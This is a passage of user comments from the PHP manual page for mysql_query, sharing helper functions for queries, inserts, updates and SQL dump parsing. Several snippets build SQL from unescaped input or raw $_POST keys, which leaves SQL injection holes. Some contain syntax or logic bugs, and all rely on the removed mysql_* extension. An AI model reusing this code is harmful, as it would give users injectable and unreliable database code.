After spending hours debugging my code (the full library is already over the MB), the only solution seemed to be to CLOSE the connection after the first call, and reopening it before the second.

So if you ever make a uniform database accessing interface and implement stored procedures/prepared statements (or classes for it), this could be a solution if you really wish to enable stored procedures.

Still, be aware that this is really a serious flaw in your design (and IMHO, the mysql extension)

Also see the documentation for mysqli on mysqli_query, which seems to be working fine.
kriskra at gmail dot com 23-Feb-2008 08:06
Here is a small neat function to print out the mysql result as a html table:

<?php
function echo_result($result) {
  ?><table><tr><?
  if(! $result) { ?><th>result not valid</th><? }
  else {
    $i = 0;
    while ($i < mysql_num_fields($result)) {
      $meta = mysql_fetch_field($result, $i);
      ?><th style="white-space:nowrap"><?=$meta->name?></th><?
      $i++;
    }
    ?></tr><?

    if(mysql_num_rows($result) == 0) {
      ?><tr><td colspan="<?=mysql_num_fields($result)?>">
      <strong><center>no result</center></strong>
      </td></tr><?
    } else
      while($row=mysql_fetch_assoc($result)) {
        ?><tr style="white-space:nowrap"><?
        foreach($row as $key=>$value) { ?><td><?=$value?></td><? }
        ?></tr><?
      }
  }
  ?></table><?
}
?>
sk89q 17-Feb-2008 10:56
sprintf+mysql_query which auto-escapes.

Usage:
<?php
$db->queryf("SELECT `m`.`name` FROM `test`.`members` WHERE `name`=%s OR `id`=%d OR `sex` IN (%a)", "Evil 'injection'", 'NaN', array('male', 'female', 'both', 'other', "Alien quote'man"));
?>

To be put into a class, and don't forget to change the $this->query() and $this->escape() functions accordingly.

<?php
function queryf($sql)
{
    $args = func_get_args();
    @array_shift($args);

    $this->queryf_args = $args;
    $this->queryf_i = 0;

    $query = preg_replace_callback("#%(.)#", array($this, 'queryf_format'), $sql);

    return $this->query($query);
}

function queryf_format($m)
{
    $args = $this->queryf_args;
    $i = &$this->queryf_i;

    switch($m[1])
    {
        case '%':
            return "%";
        case 'a':
            $s = array();
            $arr = $args[$i++];
            foreach($arr as $x)
            {
                $s[] = "'".$this->escape($x)."'";
            }
            return implode(",", $s);;=
        case 's':
            return "'".$this->escape($args[$i++])."'";
        case 'd':
            return "".intval($args[$i++])."";
        default:
            trigger_error("Bad type specifier: {$m[1]}", E_USER_ERROR);
    }
}
?>
masteracc0 at aol dot com 17-Nov-2007 07:00
Keep in mind when dealing with PHP & MySQL that sending a null-terminated string to a MySQL query can be misleading if you use echo($sql) in PHP because the null terminator may not be visible.

For example (this assumes connection is already made),
$string1 = "mystring\0";
$string2 = "mystring";

$query1 = "SELECT * FROM table WHERE mystring='".$string1."'"
$query2 = "SELECT * FROM table WHERE mystring='".$string2."'"

$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);

Not knowing this could lead to some mind-numbing troubleshooting when dealing with any strings with a null terminator.  So now you know! :)
patrick at ciphertek dot com 21-Sep-2007 07:28
If you spend a lot of time writing pages that take input from a form and insert it into a database, this function will save you time!

Please Note: You have to name your form fields the same as their corresponding table column is named in mysql for this to work.

<?php

// $table - name of the mysql table you are querying
// $exceptions - fields that will not be inserted into table
//               i.e. 'submit, action, '; (note trailing comma and space!)
// $sql_type - has to be 'insert' or 'update'
// $sql_condition - have to define this if $sql_type = 'update'
//                  i.e. "userID = '".$_POST['userID']."'"
function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) {

  // define some vars
  $fields = '';
  $values = '';

  // format input fields into sql
  foreach ($_POST as $field => $value) {
    if (!preg_match("/$field, /", $exceptions)) {
      $value = mysql_real_escape_string($value);
      if ($sql_type == 'insert') {
        $fields .= "$field, ";
        $values .= "'$value', ";
      }
      else {
        $fields .= "$field = '$value', ";
      }
    }
  }

  // remove trailing ", " from $fields and $values
  $fields = preg_replace('/, $/', '', $fields);
  $values = preg_replace('/, $/', '', $values);

  // create sql statement
  if ($sql_type == 'insert') {
    $sql = "INSERT INTO $table ($fields) VALUES ($values)";
  }
  elseif ($sql_type == 'update') {
    if (!isset($sql_condition)) {
      echo 'ERROR: You must enter a sql condition!';
      exit;
    }
    $sql = "UPDATE $table SET $fields WHERE $sql_condition";
  }
  else {
    echo 'ERROR: Invalid input for argument $sql_type: must be "insert" or "update"';
    exit;
  }

  // execute sql
  if (mysql_query($sql)) {
    return true;
  }
  else {
    //echo mysql_error();
    return false;
  }

} // end of function formToDB()

// Example for inserting new row
formToDB('users', 'submit, ');

// Example for updating existing row
formToDB('users', 'submit, userID, ', 'update', "userID = '".$_POST['userID']."'");

?>
ollitech at gmail dot com 25-Aug-2007 07:53
Running an invalid delete query may not return false.

Invalid because no such record exists.

Code;

[php]
    //  execute it
                      $result=mysql_query($sql_delete_byindex);

                      if(!$result||$result==FALSE){

                                                echo("<h1>Error occured while removing listing #: <i>".$rec_index."</i> </H1>");

                                    }else if($result==TRUE){

                                                echo("<h1>Listing #: <i>".$rec_index."</i> Deleted!</H1>");

                                    echo "<a href=\"index.php\">Go to Start Page</a>";

                                    }
[/php]

Query;
[code]
$sql_delete_byindex = "DELETE FROM `$mysql_table` WHERE `index` = '".$rec_index."' AND `key` = '".$key."'";
[/code]

result will be TRUE
halion at gmail dot com 09-Aug-2007 11:53
mysql_query doesnt support multiple queries, a way round this is to use innodb and transactions

this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
      $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
jack dot whoami at gmail dot com 02-Aug-2007 03:13
Simulating an atomic operation for application locks using mysql.

$link = mysql_connect('localhost', 'user', 'pass');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}

$q = "update `table` set `LOCK`='F' where `ID`='1'";
$lock = mysql_affected_rows();

If we assume
     NOT LOCKED = "" (empty string)
     LOCKED = 'F'

then if the column LOCK had a value other than F (normally should be an empty string) the update statement sets it to F and set the affected rows to 1. Which mean than we got the lock.
If affected rows return 0 then the value of that column was already F and somebody else has the lock.

The secret lies in the following statement taken from the mysql manual:
"If you set a column to the value it currently has, MySQL notices this and does not update it."

Of course all this is possible if the all application processes agree on the locking algorithm.
JustinB at harvest dot org 09-Mar-2007 01:01
If you're looking to create a dynamic dropdown list or pull the possible values of an ENUM field for other reasons, here's a handy function:

<?php
// Function to Return All Possible ENUM Values for a Field
function getEnumValues($table, $field) {
    $enum_array = array();
    $query = 'SHOW COLUMNS FROM `' . $table . '` LIKE "' . $field . '"';
    $result = mysql_query($query);
    $row = mysql_fetch_row($result);
    preg_match_all('/\'(.*?)\'/', $row[1], $enum_array);
    if(!empty($enum_array[1])) {
        // Shift array keys to match original enumerated index in MySQL (allows for use of index values instead of strings)
        foreach($enum_array[1] as $mkey => $mval) $enum_fields[$mkey+1] = $mval;
        return $enum_fields;
    }
    else return array(); // Return an empty array to avoid possible errors/warnings if array is passed to foreach() without first being checked with !empty().
}
?>

This function asumes an existing MySQL connection and that desired DB is already selected.

Since this function returns an array with the original enumerated index numbers, you can use these in any later UPDATEs or INSERTS in your script instead of having to deal with the string values.  Also, since these are integers, you can typecast them as such using (int) when building your queries--which is much easer for SQL injection filtering than a string value.
massiv at nerdshack dot com 19-Feb-2007 03:29
Small change in mysql_dump function, to remove the ";" char at the end of the query.

<?
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   //print_r($file_content);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql_line != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $query = str_replace(";", "", "$query");
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>

... Massimo
noah at missionecommerce dot com 16-Dec-2006 03:26
I got so tired of having to type out all the 11 letters in "mysql_query()" and even more tired of having to iterate through the result set....

So I created the perfect little all purpose wrapper function, called "q()";

<?
function q($query,$assoc=1) {
    $r = @mysql_query($query);
    if( mysql_errno() ) {
        $error = 'MYSQL ERROR #'.mysql_errno().' : <small>' . mysql_error(). '</small><br><VAR>$query</VAR>';
        echo($error); return FALSE;
    }
    if( strtolower(substr($query,0,6)) != 'select' ) return array(mysql_affected_rows(),mysql_insert_id());
    $count = @mysql_num_rows($r);
    if( !$count ) return 0;
    if( $count == 1 ) {
        if( $assoc ) $f = mysql_fetch_assoc($r);
        else $f = mysql_fetch_row($r);
        mysql_free_result($r);
        if( count($f) == 1 ) {
            list($key) = array_keys($f);
            return $f[$key];
        } else {
            $all = array();
            $all[] = $f;
            return $all;
        }
    } else {
        $all = array();
        for( $i = 0; $i < $count; $i++ ) {
            if( $assoc ) $f = mysql_fetch_assoc($r);
            else $f = mysql_fetch_row($r);
            $all[] = $f;
        }
        mysql_free_result($r);
        return $all;
    }
}

?>

Example:

<?
$r = q('Select id,foo FROM blah');
echo $r[0]['id']; // first row, field 'id'

// for single field single row selects
// only the value is returned
$count = q('SELECT count(*) from blah');
// $count is the number
?>

Returns affected_rows and/or insert_id for anything other than select's. If you dont want field name keys then pass 0 for second parameter.
babba at nurfuerspam dot de 26-Nov-2006 12:42
Following function creates a minimal update query by comparing two arrays with old and new values (phpmyadmin-like). An easy way to use it in your forms is to print out the old values in hidden fields with name old[$key] and name the visible form fields new[$key]. Feel free to send comments via mail.

<?php
function getUpdateString($tablename, $whereclause, $old, $new) {
    $changedvalues = "";
    foreach($old as $key => $oldvalue) {
        $newvalue = $new[$key];
        if($oldvalue != $newvalue) {
            if($changedvalues != "")
                $changedvalues .= ", ";

            $changedvalues .= "`".$key."`=";
            if(!is_numeric($newvalue))
                $changedvalues .= "'".$newvalue."'";
            else
                $changedvalues .= $newvalue;
        }
    }

    if($changedvalues == "")
        return "";

    return "UPDATE ".$tablename. " SET ".$changedvalues." WHERE ".$whereclause;
}
?>
axiak at mit dot edu 24-Oct-2006 02:13
Gconner at sgi...

your function breaks when you give it a question mark!
Here's a function which correctly implements what I think you want. I'm using it in a pet project of mine.

The code:
<?php
function mysql_prepare ($query, $phs = array()) {
    $phs = array_map(create_function('$ph',
                     'return "\'".mysql_real_escape_string($ph)."\'";'), $phs);

    $curpos = 0;
    $curph  = count($phs)-1;

    for ($i=strlen($query)-1; $i>0; $i--) {

      if ($query[$i] !== '?')  continue;
      if ($curph < 0 || !isset($phs[$curph]))
    $query = substr_replace($query, 'NULL', $i, 1);
      else
    $query = substr_replace($query, $phs[$curph], $i, 1);

      $curph--;
    }
    unset($curpos, $curph, $phs);
    return $query;
}
?>
veyita_angi at hotmail dot com 04-Oct-2006 06:35
this could be a nice way to print values from 2 tables with a foreign key. i have not yet tested correctly but it should work fine.

$buscar = mysql_query("SELECT k.*, e.Clasificacion FROM cat_plan_k k, cat_equipo e WHERE Tipo='$tipo' AND k.ID_Eq=a.ID_Eq");
    while ($row=mysql_fetch_array($buscar))
        {
            $nombre = "e.Clasificacion";
            $row[$nombre] = $Clasific; echo $row[$nombre].'convertido en '.$Clasific;
        }
    mysql_free_result($buscar);
cc+php at c2se dot com 02-Sep-2006 02:39
Here's a parameterised query function for MySQL similar to pg_query_params, I've been using something similar for a while now and while there is a slight drop in speed, it's far better than making a mistake escaping the parameters of your query and allowing an SQL injection attack on your server.

<?php   # Parameterised query implementation for MySQL (similar PostgreSQL's PHP function pg_query_params)
        # Example: mysql_query_params( "SELECT * FROM my_table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );

        if( !function_exists( 'mysql_query_params' ) ) {

                function mysql_query_params__callback( $at ) {
                        global $mysql_query_params__parameters;
                        return $mysql_query_params__parameters[ $at[1]-1 ];
                }

                function mysql_query_params( $query, $parameters=array(), $database=false ) {

                        // Escape parameters as required & build parameters for callback function
                        global $mysql_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : ( NULL===$v ? 'NULL' : "'".mysql_real_escape_string( $v )."'" ) );
                        $mysql_query_params__parameters = $parameters;

                        // Call using mysql_query
                        if( false===$database )
                                return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ) );
                        else    return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ), $database );

                }
        }

?>
joe 29-Aug-2006 09:45
alteration to the script reposted by
webmaster at vs2055067 dot vserver dot de

   $fields = implode(array_keys($toAdd), ',');
   $values = "'".implode(array_values($toAdd), "','")."'";

should really be

   $fields = "`".implode(array_keys($toAdd), '`,`')."`";
   $values = "'".implode(array_values($toAdd), "','")."'";

as keys like `desc` (short for description) cause errors
webmaster at vs2055067 dot vserver dot de 27-Jul-2006 05:03
in the first note the function doesn't work and the other function is pretty complicated. Here is the corrected version of the first one and a function for update.

<?php
function mysql_insert($table, $toAdd){

   $fields = implode(array_keys($toAdd), ',');
    $values = "'".implode(array_values($toAdd), "','")."'"; # better

   $q = 'INSERT INTO `'.$table.'` ('.$fields.') VALUES ('.$values.')';
   $res = mysql_query($q)OR die(mysql_error());

   return true;

   //-- Example of usage
   //$tToAdd = array('id'=>3, 'name'=>'Yo', 'salary' => 5000);
   //insertIntoDB('myTable', $tToAdd)
}

function mysql_update($table, $update, $where){
    $fields = array_keys($update);
    $values = array_values($update);
     $i=0;
     $query="UPDATE ".$table." SET ";
     while($fields[$i]){
       if($i<0){$query.=", ";}
     $query.=$fields[$i]." = '".$values[$i]."'";
     $i++;
     }
     $query.=" WHERE ".$where." LIMIT 1;";
     mysql_query($query) or die(mysql_error());
     return true;

     //Example
     // mysql_update('myTable', $anarray, "type = 'main'")

}
?>
rob desbois 07-Jul-2006 11:38
Note that the 'source' command used in the mysql client program is *not* a feature of the server but of the client.
This means that you cannot do
   mysql_query('source myfile.sql');
You will get a syntax error. Use LOAD DATA INFILE as an alternative.
cedric ___at___ sadai ___dot___ net 05-Jun-2006 05:26
This is a quick way for adding data to a table. It is the same way than PEAR::DB, so if you are working on a server without PEAR, it enables you to keep up with your habits.

<?php

function    insertIntoDB($table, $toAdd)
{
    $fields = implode(array_keys($toAdd), ',');
    $values = implode(array_values($toAdd), ',');

    $q = 'INSERT INTO `'.$table.'` ('.$fields.') VALUES ('.$values.')';
    $res = mysql_query($q)OR die(mysql_error());

    return    true;
}

//-- Example of usage
$tToAdd = array('id'=>3, 'name'=>'Yo', 'salary' => 5000);
insertIntoDB('myTable', $tToAdd)

?>
matt 21-Mar-2006 12:45
Just realised I posted the wrong functions. Oops!

Here you go....

<?php
function compile_insert_string($data)
{
    $field_names  = "";
    $field_values = "";

    foreach ($data as $k => $v)
    {
        $v = preg_replace( "/'/", "\\'", $v );
        //$v = preg_replace( "/#/", "\\#", $v );
        $field_names  .= "$k,";
        $field_values .= "'$v',";
    }

    $field_names  = preg_replace( "/,$/" , "" , $field_names  );
    $field_values = preg_replace( "/,$/" , "" , $field_values );

    return array('FIELD_NAMES'  => $field_names,
                 'FIELD_VALUES' => $field_values,
                );
}

//------------------------------------------
// insert_query
//
// Wrapper for an insert query
//------------------------------------------

function insert_query($data, $table)
{
    if (!is_array($data) or count($data) < 1)
    {
        $this->fatal_error("Insert data missing");
    }

    $insert = $this->compile_insert_string($data);
    $query = "INSERT INTO {$table} (".$insert['FIELD_NAMES'].") VALUES (".$insert['FIELD_VALUES'].")";

    return $this->query($query);
}
?>
yankee at gmeil dot com 10-Mar-2006 11:07
Another shorter possibility to print options of an ENUM as <select>-tag:
<?php
$result=mysql_query('SHOW COLUMNS FROM <your table> WHERE field=\'<you column>\'');
while ($row=mysql_fetch_row($result))
{
   foreach(explode("','",substr($row[1],6,-2)) as $v)
   {
     print("<option>$v</option>");
   }
}
?>
gconnor at sgi dot com 02-Mar-2006 02:19
I happily grabbed and used the "mysql_prepare()" function given in the first note above.  All is well.

I made a slight tweak so that I could feed in NULL values without getting an empty string (or 0) instead.

   // mysql_query() wrapper. takes two arguments. first
   // is the query with '?' placeholders in it. second argument
   // is an array containing the values to substitute in place
   // of the placeholders (in order, of course).
   // Pass NULL constant in array to get unquoted word NULL
   function mysql_prepare ($query, $phs = array()) {
       foreach ($phs as $ph) {
           if ( isset($ph) ) {
               $ph = "'" . mysql_real_escape_string($ph) . "'";
           } else {
               $ph = "NULL" ;
           }
           $query = substr_replace(
               $query, $ph, strpos($query, '?'), 1
           );
       }
       return mysql_query($query);
   }

Sample function call:
        // Check to see if all variables are defined
        if ( isset($f_hostid,$f_eventid,$f_owner,$f_comment) ) {
                // For numeric values, blank means NULL
                if ( $f_eventid=="" ) { $f_eventid = NULL ; }
                $result = mysql_prepare(
                        'UPDATE Hosts SET event_id=?, owner=?, comment=? WHERE id=?',
                        array( $f_eventid,$f_owner,$f_comment, $f_hostid )
                        );
                if (!$result) {
                        $message  = 'Error while updating: ' . mysql_error() . "<br />\n";
                        die($message);
                }
                echo "Update successful. <br />\n" ;
        } else {
                echo "Missing value.  Update failed... check form logic. <br />\n" ;
        }
23-Feb-2006 08:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
    // mysql_query() wrapper. takes two arguments. first
    // is the query with '?' placeholders in it. second argument
    // is an array containing the values to substitute in place
    // of the placeholders (in order, of course).
    function mysql_prepare ($query, $phs = array()) {
        foreach ($phs as $ph) {
            $ph = "'" . mysql_real_escape_string($ph) . "'";
            $query = substr_replace(
                $query, $ph, strpos($query, '?'), 1
            );
        }

        return mysql_query($query);
    }

    // sample usage
    list($user, $passwd) = array('myuser', 'mypass');

    $sth = mysql_prepare(
        'select userid from users where userid=? and passwd=?',
        array($user, sha1($passwd))
    );
    $row = mysql_fetch_row($sth);

    // successfull username & password authentication
    if ($row !== false) {
        echo "logging in as '{$row[0]}'!\n";
    }

    // oops, wrong userid or passwd
    else {
        echo "Invalid username and password combination.\n";
    }
?>
brjann at no dot gmail dot spam dot com 22-Feb-2006 11:07
Using mysql 4 w/o stored procedures can become quite tedious, especially when writing a lot of standard sql-statements all the time.

These two functions, standardSQLInsert and standardSQLUpdate, handle most of my uncomplex cases of  updating and inserting into tables. Note the use of the quote_smart function, described at http://php.net/mysql_real_escape_string, making all queries safe.

<?php
    function standardSQLInsert($strTableName, $arrValuePairs){
        $strSeparator = '';
        $strCols = '';
        $strValues = '';
        foreach ($arrValuePairs as $strCol => $strValue) {
            $strCols = $strCols.$strSeparator.$strCol;
            $strValues = $strValues.$strSeparator.quote_smart($strValue);
            $strSeparator = ',';
        }
        mysql_query("INSERT INTO $strTableName ($strCols) VALUES($strValues)");
    }

    function standardSQLUpdate($strTableName, $arrValuePairs, $arrConditionPairs){
        $strSeparator = '';
        $strSetStatements = '';
        $strUpdateConditions = '';
        foreach ($arrValuePairs as $strCol => $strValue){
            $strSetStatements = $strSetStatements.$strSeparator.$strCol.'='.quote_smart($strValue);
            $strSeparator = ',';
        }
        $strSeparator = '';
        foreach ($arrConditionPairs as $strCol => $strValue){
            $strUpdateConditions = $strUpdateConditions.$strSeparator.$strCol.'='.quote_smart($strValue);
            $strSeparator = ' AND ';
        }
        $strUpdateConditions = '('.$strUpdateConditions.')';
        mysql_query("UPDATE $strTableName SET $strSetStatements WHERE $strUpdateConditions");
    }

//example
$arrValuePairs = array('Col1' => 'Value1', 'Col2' => 'Value2');
$arrConditionPairs = array('Col3' => 'Value3', 'Col4' => 'Value4');

standardSQLInsert('mytable',$arrValuePairs);
//yields "INSERT INTO mytable (Col1,Col2) VALUES ('Value1','Value2')"

standardSQLUpdate('mytable',$arrValuePairs,$arrConditionPairs);
//yields "UPDATE mytable SET Col1 = 'Value1', Col2 = 'Value2' WHERE (Col3 = 'Value3' AND Col4 = 'Value4')"
?>
Harmor 18-Dec-2005 02:32
Modification of hipsurgery submission.  Here's a utility function that will return an array of a table.  Don't forget to connect to the DB before calling this function.
<?php
//Returns an array[columnName] = value of a $table_name
function table_to_array($table_name)
{
  $columns = array();

  $result_all= mysql_query("SELECT * FROM $table_name");
  $result_columns = mysql_query("SHOW COLUMNS FROM $table_name");

  //get the columns from the table into $colums[]
  while ($columnRow = mysql_fetch_array($result_columns, MYSQL_ASSOC))
  {
    $columns[] = $columnRow
  }

  while ($data = mysql_fetch_assoc($result_all, MYSQL_ASSOC))
  {
    foreach ($columns as $column_name)
    {
      $array[$column_name] = $data[$column_name];
    }
  }
return $array;
}
?>
hipsurgery at gmail dot com 05-Nov-2005 07:30
This function will take the contents of any MySQL table, given only the table name, and return it as an index / associative multi-dimensional array in the form of:

$array[$row_number][$column_name] = $value;

I've found this very useful when you don't want to parse the table's contents in to HTML tags during a mysql_fetch_array() iteration.

<?php
function db_to_array($table_name) {

$cols = array();
$x=0;
$this_row=0;

mysql_connect(HOST,USERNAME,PASSWORD);
@mysql_select_db(DATABASE) or die( "Unable to select database");

$result_all=mysql_query("SELECT * FROM $table_name");
$result_cols = mysql_query("SHOW COLUMNS FROM $table_name");

mysql_close();

$numfields = mysql_num_fields($result_all);

for($i=0;$i<mysql_num_rows($result_cols);$i++)
  {
    $cols[] = mysql_result($result_cols, $i);
  }

while ($data = mysql_fetch_assoc($result_all))
  {
    if ($x<$numfields)
      {
        $x++;
      }
    else
      {
        $x = 0;
        $this_row++;
         }

    foreach ($cols as $col_name)
      {
        $array[$this_row][$col_name] = $data[$col_name];
      }

    mysql_data_seek($result_all, $this_row);

  }

return $array;

}

// Test the function...

$test_array = db_to_array("shows");

foreach ($test_array as $outer_key => $single_array)
  {
    foreach ($single_array as $inner_key => $value)
      {
        echo "\$test_array[$outer_key][$inner_key] = $value<br />";
      }
  }
?>

I'm just a hobbyist, so feel free to comment on my code or (worse!) tell me that there's some native PHP function that already does this!
congaz at yahoo dot dk 25-Oct-2005 11:46
Here's a little trick to help you keep track of MySQL table/column names, and the values you want to insert/select.

I always use constants instead of variables for my table/column names. The script that define the constants can then dynamically be set to initialize different table/column names if needed. However, here comes the trick.

Say you have an Insert statement like this:
<?=
// define(TABLE_DOCUMENT, 'table_name');
// define(COL_DOC_PUBLIC, 'column_name');
// etc....

$sql =     "INSERT INTO ".TABLE_DOCUMENT."
                        (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".$doc_public.", ".$doc_upload_tstamp.", ".$doc_name.")";
?>
Now, with long insert statements, I find it easy to loose track of which values goes with which column names. If I somehow could use the constants as variable names, keeping track of all that sql mishmash would be quite a lot easier.

As it turns out, constants names can be used as variable variables (not quite the correct definition when we're actually dealing with constants, but what the heck).

So,the sql above could instead be like this:
<?=
${COL_DOC_PUBLIC} = $doc_public;
${COL_DOC_UPLOAD_TSTAMP} = $doc_upload_tstamp;
${COL_DOC_CREATOR_NAME} = $doc_name;

$sql =     "INSERT INTO ".TABLE_DOCUMENT."
                        (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".${COL_DOC_PUBLIC}.", ".${COL_DOC_UPLOAD_TSTAMP}.", ".${COL_DOC_CREATOR_NAME}.")";
?>
This little trick made things alot easier for me - especially when dealing with extended querys, where you might have to use the same values in severel insert/select statements. Another thing is, that you can wait to use addslashes()/my_sql_real_escape_string until you create the "variable constants" - thus the task of remebering which values have been prepared to be used in an sql-statement has become fool-proof.

Hope somebody finds this usefull...
php at arcannon dot com 02-Oct-2005 12:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
celtic at raven-blue dot com 10-Sep-2005 04:03
Here's a revision of ix at nivelzero -and- thomas at pixur's code. This SQL dump parser fixes the check for comments that was present in the old (ie. a '--' located anywhere in the string would make it ignore that line!), and adds the check for the # comment. That had me thinking.

<?php
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
ix at nivelzero dot ro 14-Aug-2005 12:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
    $file_content = file($url);
    $query = "";
    foreach($file_content as $sql_line){
      if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
        $query .= $sql_line;
        if(preg_match("/;[\040]*\$/", $sql_line)){
          $result = mysql_query($query)or die(mysql_error());
          $query = "";
        }
      }
    }
  }
?>
wjyong at sh163 dot net 01-May-2005 01:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net 26-Jan-2005 02:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}

/* malformed query /*
$rs = mysql_query("SELECT `foo` FRO `bar`");
if($rs) {
  echo "This will never be echoed";
}
?>
andregodin at gmail dot com 18-Nov-2004 10:03
Another "dumping" function but with the optional possibility to choose wich field_name to be dumped.  "Have Fun and please email me if you do optimization of this code"

<?php
function mysql_format($strTemp){
    //Format sql sentence for insert
    $bad_chars= array("\\", "'", "\"");
    $good_chars = array("\\\\", "''", "\"\"");
    return str_replace($bad_chars, $good_chars, $strTemp);
}

function mysql_dump_table(){
    /*******************\
    *  MYSQL_DUMP_TABLE  *********************************\
    *  Paramêtres :                                       *
    *    1- Table Name                                     *
    *   2- Field(s) (in string format) Name to be dumped  *
    *       If empty, all field will be dumped            *
    \******************************************************/

    if (!(func_num_args())) die ("<b>mysql_dump_table</b>: Need At Least A Table Name");

    $arg_list = func_get_args();
    $arrReturn = "";
    $strTblName = mysql_format("`{$arg_list[0]}`");
    $strFields = "*";

    if (func_num_args() > 1){
        $strFields = "";
        for ($noArg=1; $noArg<func_num_args(); $noArg++){
            if ($strFields) $strFields .= ", ";
            $strFields .= "`$arg_list[$noArg]`";
        }
    }

    $result = mysql_query("SELECT $strFields FROM $strTblName") or die ("Incapable d'exécuter la requête");

    $nbRecord = 0;
    while ($row = mysql_fetch_assoc($result)){
        $strFieldsNames = "";
        $strFieldsValues = "";

        foreach ($row as $field_name => $field_value){
            if ($strFieldsNames) $strFieldsNames .= ", ";
            $strFieldsNames .= "`$field_name`";

            if($strFieldsValues) $strFieldsValues .= ", ";
            $strFieldsValues .= "'" . mysql_format($field_value) . "'";
        }

        $arrReturn[$nbRecord++] = "INSERT INTO $strTblName($strFieldsNames) values($strFieldsValues);";
    }
    mysql_free_result($result);
    return $arrReturn;
}

require_once("config_connexion_db_test.php");

/****************
* AUTRE EXEMPLE  **********************************************
*    Vous pouvez décider d'afficher quelques champs seulements *
*  en spécifiant les champs désiré                            *
**************************************************************/
$db = mysql_connect(DBTEST_HOST, DBTEST_USER, DBTEST_PASSWORD) or die("Impossible de se connecter : ");
mysql_select_db(DBTEST_NAME, $db);

$result = mysql_dump_table("tbl_produits", "code_produit", "description");

foreach ($result as $sentence){
    //Afficher chaque élément du tableau
    print "$sentence<br>";
}
mysql_close($db);

//Retourne
/********************************************************
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit1', 'don\'t have description');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit2', 'without \"description\" too');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit3', '1\\3 more than before');
...
...
*********************************************************/

?>
PHP is a very nice language!
André Godin :)
me at harveyball dot com 11-Sep-2004 10:13
